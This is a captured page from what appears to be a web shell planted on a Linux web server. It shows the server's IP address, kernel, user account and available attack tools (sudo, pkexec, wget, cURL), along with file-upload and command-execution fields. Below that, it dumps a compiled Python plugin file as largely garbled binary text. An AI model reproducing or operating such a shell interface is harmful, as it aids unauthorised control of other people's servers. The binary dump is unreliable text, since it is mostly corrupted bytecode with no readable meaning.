403Webshell
Server IP : 77.50.203.18  /  Your IP : 192.168.0.10
Web Server : Apache/2.4.62 (CentOS Stream) OpenSSL/3.5.7 mpm-itk/2.4.7-04 PHP/8.4.23
System : Linux web2 5.14.0-722.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 09:07:51 UTC 2026 x86_64
User : warsnews.ru ( 1001)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/virsh.cpython-39.opt-1.pyc
a

ܓ�i��@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�IndependentPluginc@s,eZdZdZdZdZdZdd�Zdd�Zd	S)
�
LibvirtClientz%client for libvirt virtualization APIZvirsh)�systemZvirt)zlibvirt-clientzlibvirt-clientsc	Csb|�ddg�d}gd�}|D]}|j|�d|��dd�q|j|�d�d	dd
�|j|�d�dd�}|dd
kr�|d��D]J}|�d|���}|dd
kr~|d��d
}|jd|��d|��d�q~dD]�}|j|�d|�d�|dvr�dnddd�}	|	dd
kr�|	d��}
z|
d
���d�}Wnt�yBYq�Yn0tdd�|
dd��D]0}|��|}
|j|�d|�d|
��dd��qZq�|j|�d�dd�}|dd
k�r|d��dd�}tdd�|�D]<}|��d}dD]$}|j|�d|�d|��dd��q�q�|j|�d �dd�}|dd
k�r^|d��D]}
|j|�d!|
��dd��q>dS)"Nz/root/.cache/virt-manager/*.logz/root/.virt-manager/*.logzvirsh -r)ZdomcapabilitiesZcapabilitiesZnodeinfozfreecell --allznode-memory-tune�versionzpool-capabilitiesZ
nodecpumapzmaxvcpus kvmZsysinfoznodedev-list --tree� T)�
foregroundz list --allZvirsh_list_all)�tagsrz1 list --all --name --state-running --state-paused�statusr�outputz	pgrep -f ztaskset -ac -p Ztaskset_)Zsuggest_filename)�netZnwfilter�poolz-list %s)rr
z--all��NamecSs|S�N���xrr�</usr/lib/python3.9/site-packages/sos/report/plugins/virsh.py�<lambda>M�z%LibvirtClient.setup.<locals>.<lambda>�z	-dumpxml cSs|SrrrrrrrWr�)ZdumpxmlZdominfoZ
domblklistz
 nodedev-listz nodedev-dumpxml )	Z
add_copy_specZadd_cmd_outputZexec_cmd�
splitlinesZcollect_cmd_output�split�index�	Exception�filter)�self�cmdZsubcmdsZsubcmdZvmsZvm�pid�p�kZk_listZk_lines�pos�j�nameZdomains_outputZ
domains_lines�domain�optZnodedev_outputrrr�setupst�������
���zLibvirtClient.setupcCs(d}ddg}|D]}|�||d�qdS)Nz"(\s*passwd\s*=\s*\")([^\"]*)(\".*)z"/root/\.cache/virt-manager/.*\.logz/root/\.virt-manager/.*\.logz
\1******\3)Zdo_path_regex_sub)rZ	match_expZvirsh_path_expsZpath_exprrr�postproces�zLibvirtClient.postprocN)	�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesZpackagesr(r)rrrrrsPrN)Zsos.report.pluginsrrrrrrr�<module>	s

Youez - 2016 - github.com/yon3zu
LinuXploit